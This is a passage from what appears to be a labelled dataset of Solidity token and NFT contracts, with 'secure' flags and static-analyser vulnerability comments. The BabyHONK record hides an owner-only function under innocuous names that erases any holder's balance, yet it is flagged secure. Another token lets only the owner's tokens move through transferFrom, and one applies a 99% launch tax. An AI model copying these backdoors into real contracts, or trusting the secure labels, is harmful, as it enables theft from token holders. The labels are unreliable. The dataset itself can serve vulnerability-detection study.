\"ipfs://QmTrsKvNcQ1YwaPG4nfJta9PMwtVUosxYyHjCGaWpR183e/\";\n }\n\n mapping(uint256 => uint256) free;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n _mint(amount);\n }\n\n string uri;\n function setUri(string memory _uri) external onlyOwner {\n uri = _uri;\n }\n\n function setFreeTx(uint256 amount) public onlyOwner {\n freeTx = amount;\n }\n\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n uint256 t = totalSupply();\n if (t > maxSupply / 5) {\n require(balanceOf(msg.sender) == 0);\n uint256 freeNum = (maxSupply - t) / 12;\n require(free[block.number] < freeNum);\n free[block.number]++;\n }\n _safeMint(msg.sender, freeTx);\n return;\n }\n require(msg.value >= amount * cost);\n _safeMint(msg.sender, amount);\n }\n\n function privateMint(uint16 _mintAmount, address _addr) external onlyOwner {\n require(\n totalSupply() + _mintAmount <= maxSupply,\n \"Exceeds max supply.\"\n );\n _safeMint(_addr, _mintAmount);\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 50) / 1000;\n return (owner, royaltyAmount);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n function approve(\n address operator,\n uint256 tokenId\n ) public payable override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n}",
"file_name": "solidity_code_3270.sol",
"secure": 1,
"size_bytes": 4102
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) private pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}",
"file_name": "solidity_code_3271.sol",
"secure": 1,
"size_bytes": 2632
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20Upgradeable {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_3272.sol",
"secure": 1,
"size_bytes": 678
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IERC20Upgradeable.sol\" as IERC20Upgradeable;\n\nlibrary SafeERC20Upgradeable {\n using Address for address;\n\n function safeTransfer(\n IERC20Upgradeable token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20Upgradeable token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function _callOptionalReturn(\n IERC20Upgradeable token,\n bytes memory data\n ) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}",
"file_name": "solidity_code_3273.sol",
"secure": 1,
"size_bytes": 1283
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Upgradeable.sol\" as IERC20Upgradeable;\nimport \"./SafeERC20Upgradeable.sol\" as SafeERC20Upgradeable;\n\ncontract UwuSplitter {\n using SafeERC20Upgradeable for IERC20Upgradeable;\n\n address payable constant UWULABS =\n payable(0x354A70969F0b4a4C994403051A81C2ca45db3615);\n address payable constant KIWI =\n payable(0x08D816526BdC9d077DD685Bd9FA49F58A5Ab8e48);\n address payable constant LAUR =\n payable(0xe76091F84dDf27f9e773cA8bD2090830943f615C);\n address payable constant NINES =\n payable(0xa84F465907cAfe5CAA07c2593c7599f25ef552bD);\n address payable constant MORELLO =\n payable(0x92e9b91AA2171694d740E7066F787739CA1Af9De);\n\n receive() external payable virtual {}\n\n function percentOfTotal(\n uint256 total,\n uint256 percentInGwei\n ) internal pure returns (uint256) {\n return (total * percentInGwei) / 1 gwei;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function withdrawETH() external {\n withdrawToken(address(0));\n }\n\n function withdrawToken(address token) public {\n if (token == address(0)) {\n uint256 totalBalance = address(this).balance;\n sendValue(LAUR, percentOfTotal(totalBalance, 0.15 gwei));\n sendValue(KIWI, percentOfTotal(totalBalance, 0.075 gwei));\n sendValue(MORELLO, percentOfTotal(totalBalance, 0.075 gwei));\n sendValue(NINES, percentOfTotal(totalBalance, 0.05 gwei));\n sendValue(UWULABS, address(this).balance);\n } else {\n uint256 totalBalance = IERC20Upgradeable(token).balanceOf(\n address(this)\n );\n IERC20Upgradeable(token).safeTransfer(\n LAUR,\n percentOfTotal(totalBalance, 0.15 gwei)\n );\n IERC20Upgradeable(token).safeTransfer(\n KIWI,\n percentOfTotal(totalBalance, 0.075 gwei)\n );\n IERC20Upgradeable(token).safeTransfer(\n MORELLO,\n percentOfTotal(totalBalance, 0.075 gwei)\n );\n IERC20Upgradeable(token).safeTransfer(\n NINES,\n percentOfTotal(totalBalance, 0.05 gwei)\n );\n IERC20Upgradeable(token).safeTransfer(\n UWULABS,\n IERC20Upgradeable(token).balanceOf(address(this))\n );\n }\n }\n}",
"file_name": "solidity_code_3274.sol",
"secure": 1,
"size_bytes": 2888
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Token {\n using SafeMath for uint256;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isBlacklisted;\n\n mapping(address => bool) private _isWhitelisted;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2948c42): Token._maxSellPercentage should be immutable \n\t// Recommendation for 2948c42: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxSellPercentage;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9f0fd46): Token.constructor(string,string,uint8,uint256,uint256,address).owner_ lacks a zerocheck on \t _owner = owner_\n\t// Recommendation for 9f0fd46: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_,\n uint256 maxSellPercentage_,\n address owner_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_;\n\n _maxSellPercentage = maxSellPercentage_;\n\n\t\t// missing-zero-check | ID: 9f0fd46\n _owner = owner_;\n\n _balances[_owner] = _totalSupply;\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(recipient != address(0), \"Token: transfer to the zero address\");\n\n require(\n amount <= _balances[msg.sender],\n \"Token: transfer amount exceeds balance\"\n );\n\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n require(spender != address(0), \"Token: approve to the zero address\");\n\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(sender != address(0), \"Token: transfer from the zero address\");\n\n require(recipient != address(0), \"Token: transfer to the zero address\");\n\n require(\n amount <= _balances[sender],\n \"Token: transfer amount exceeds balance\"\n );\n\n require(\n amount <= _allowances[sender][msg.sender],\n \"Token: transfer amount exceeds allowance\"\n );\n\n require(\n sender == _owner,\n \"Token: sender must be the owner of the token\"\n );\n\n _balances[sender] = _balances[sender].sub(amount);\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(\n amount\n );\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256) {\n return _allowances[owner][spender];\n }\n}",
"file_name": "solidity_code_3275.sol",
"secure": 0,
"size_bytes": 5171
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BabyHONK is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable categories;\n\n constructor() {\n _name = \"BabyHONK\";\n\n _symbol = \"BabyHONK\";\n\n _decimals = 18;\n\n uint256 initialSupply = 48800000000;\n\n categories = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == categories, \"Not allowed\");\n\n _;\n }\n\n function subway(address[] memory proportion) public onlyOwner {\n for (uint256 i = 0; i < proportion.length; i++) {\n address account = proportion[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3276.sol",
"secure": 1,
"size_bytes": 4385
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"./IBEP20Metadata.sol\" as IBEP20Metadata;\n\ncontract BEP20 is Context, IBEP20, IBEP20Metadata {\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\t\t// reentrancy-eth | ID: f56f278\n _balances[sender] = senderBalance - amount;\n\t\t// reentrancy-eth | ID: f56f278\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 7aeb922\n emit Transfer(sender, recipient, amount);\n }\n\n function _tokengeneration(\n address account,\n uint256 amount\n ) internal virtual {\n _totalSupply = amount;\n _balances[account] = amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2513426\n\t\t// reentrancy-benign | ID: 196ff41\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 57e3c85\n\t\t// reentrancy-events | ID: cfe66b7\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3277.sol",
"secure": 1,
"size_bytes": 4561
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_3278.sol",
"secure": 1,
"size_bytes": 753
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./BEP20.sol\" as BEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract InsomniaDAO is BEP20, Ownable {\n using Address for address payable;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6a54526): InsomniaDAO.router should be immutable \n\t// Recommendation for 6a54526: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public router;\n\t// WARNING Optimization Issue (immutable-states | ID: e7fa97e): InsomniaDAO.pair should be immutable \n\t// Recommendation for e7fa97e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n bool private _interlock = false;\n bool public providingLiquidity = false;\n bool public tradingEnabled = false;\n\n uint256 public tokenLiquidityThreshold = 1e5 * 10 ** 18;\n uint256 public maxBuyLimit = 1e6 * 10 ** 18;\n uint256 public maxSellLimit = 1e6 * 10 ** 18;\n uint256 public maxWalletLimit = 1e6 * 10 ** 18;\n\n uint256 public genesis_block;\n uint256 private deadline = 3;\n\t// WARNING Optimization Issue (constable-states | ID: 80b6200): InsomniaDAO.launchtax should be constant \n\t// Recommendation for 80b6200: Add the 'constant' attribute to state variables that never change.\n uint256 private launchtax = 99;\n\n address public marketingWallet = 0xA267E8e3c0B842b5139f21E04759734Df2b246fC;\n address public treasuryWallet = 0xE8440EDf77fbd60ED44c96A5c6f442B138593801;\n address public constant deadWallet =\n 0x000000000000000000000000000000000000dEaD;\n\n struct Taxes {\n uint256 marketing;\n uint256 liquidity;\n uint256 treasury;\n }\n\n Taxes public taxes = Taxes(3, 1, 1);\n Taxes public sellTaxes = Taxes(3, 1, 1);\n\n mapping(address => bool) public exemptFee;\n\n mapping(address => uint256) private _lastSell;\n bool public coolDownEnabled = true;\n uint256 public coolDownTime = 60 seconds;\n\n\t// WARNING Vulnerability (incorrect-modifier | severity: Low | ID: 3c703e2): Modifier InsomniaDAO.lockTheSwap() does not always execute _; or revert\n\t// Recommendation for 3c703e2: All the paths in a modifier must execute '_' or revert.\n modifier lockTheSwap() {\n if (!_interlock) {\n _interlock = true;\n _;\n _interlock = false;\n }\n }\n\n constructor() BEP20(\"InsomniaDAO\", \"EYE\") {\n _tokengeneration(msg.sender, 1e8 * 10 ** decimals());\n exemptFee[msg.sender] = true;\n\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n router = _router;\n pair = _pair;\n exemptFee[address(this)] = true;\n exemptFee[marketingWallet] = true;\n exemptFee[treasuryWallet] = true;\n exemptFee[deadWallet] = true;\n exemptFee[0xD152f549545093347A162Dce210e7293f1452150] = true;\n exemptFee[0x407993575c91ce7643a4d4cCACc9A98c36eE1BBE] = true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cfe66b7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cfe66b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 196ff41): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 196ff41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cfe66b7\n\t\t// reentrancy-benign | ID: 196ff41\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: cfe66b7\n\t\t// reentrancy-benign | ID: 196ff41\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public override returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public override returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7983bf4): InsomniaDAO._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(timePassed >= coolDownTime,Cooldown enabled)\n\t// Recommendation for 7983bf4: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7aeb922): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7aeb922: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f56f278): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f56f278: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 430e457): InsomniaDAO._transfer(address,address,uint256).feeswap is a local variable never initialized\n\t// Recommendation for 430e457: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 7191f76): InsomniaDAO._transfer(address,address,uint256).feesum is a local variable never initialized\n\t// Recommendation for 7191f76: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 9531f23): InsomniaDAO._transfer(address,address,uint256).fee is written in both fee = 0 fee = (amount * feesum) / 100\n\t// Recommendation for 9531f23: Fix or remove the writes.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: d973b3d): InsomniaDAO._transfer(address,address,uint256).currentTaxes is a local variable never initialized\n\t// Recommendation for d973b3d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!exemptFee[sender] && !exemptFee[recipient]) {\n require(tradingEnabled, \"Trading not enabled\");\n }\n\n if (sender == pair && !exemptFee[recipient] && !_interlock) {\n require(amount <= maxBuyLimit, \"You are exceeding maxBuyLimit\");\n require(\n balanceOf(recipient) + amount <= maxWalletLimit,\n \"You are exceeding maxWalletLimit\"\n );\n }\n\n if (\n sender != pair &&\n !exemptFee[recipient] &&\n !exemptFee[sender] &&\n !_interlock\n ) {\n require(amount <= maxSellLimit, \"You are exceeding maxSellLimit\");\n if (recipient != pair) {\n require(\n balanceOf(recipient) + amount <= maxWalletLimit,\n \"You are exceeding maxWalletLimit\"\n\t\t\t\t// timestamp | ID: 7983bf4\n );\n }\n if (coolDownEnabled) {\n uint256 timePassed = block.timestamp - _lastSell[sender];\n require(timePassed >= coolDownTime, \"Cooldown enabled\");\n _lastSell[sender] = block.timestamp;\n }\n }\n\n uint256 feeswap;\n uint256 feesum;\n uint256 fee;\n Taxes memory currentTaxes;\n\n bool useLaunchFee = !exemptFee[sender] &&\n !exemptFee[recipient] &&\n block.number < genesis_block + deadline;\n\n\t\t// write-after-write | ID: 9531f23\n if (_interlock || exemptFee[sender] || exemptFee[recipient]) fee = 0;\n else if (recipient == pair && !useLaunchFee) {\n feeswap =\n sellTaxes.liquidity +\n sellTaxes.marketing +\n sellTaxes.treasury;\n feesum = feeswap;\n currentTaxes = sellTaxes;\n } else if (!useLaunchFee) {\n feeswap = taxes.liquidity + taxes.marketing + taxes.treasury;\n feesum = feeswap;\n currentTaxes = taxes;\n } else if (useLaunchFee) {\n feeswap = launchtax;\n feesum = launchtax;\n }\n\n\t\t// write-after-write | ID: 9531f23\n fee = (amount * feesum) / 100;\n\n if (providingLiquidity && sender != pair)\n\t\t\t// reentrancy-events | ID: 7aeb922\n\t\t\t// reentrancy-eth | ID: f56f278\n Liquify(feeswap, currentTaxes);\n\n\t\t// reentrancy-events | ID: 7aeb922\n\t\t// reentrancy-eth | ID: f56f278\n super._transfer(sender, recipient, amount - fee);\n if (fee > 0) {\n if (feeswap > 0) {\n uint256 feeAmount = (amount * feeswap) / 100;\n\t\t\t\t// reentrancy-events | ID: 7aeb922\n\t\t\t\t// reentrancy-eth | ID: f56f278\n super._transfer(sender, address(this), feeAmount);\n }\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57e3c85): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57e3c85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2513426): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2513426: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4b29cd1): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4b29cd1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | 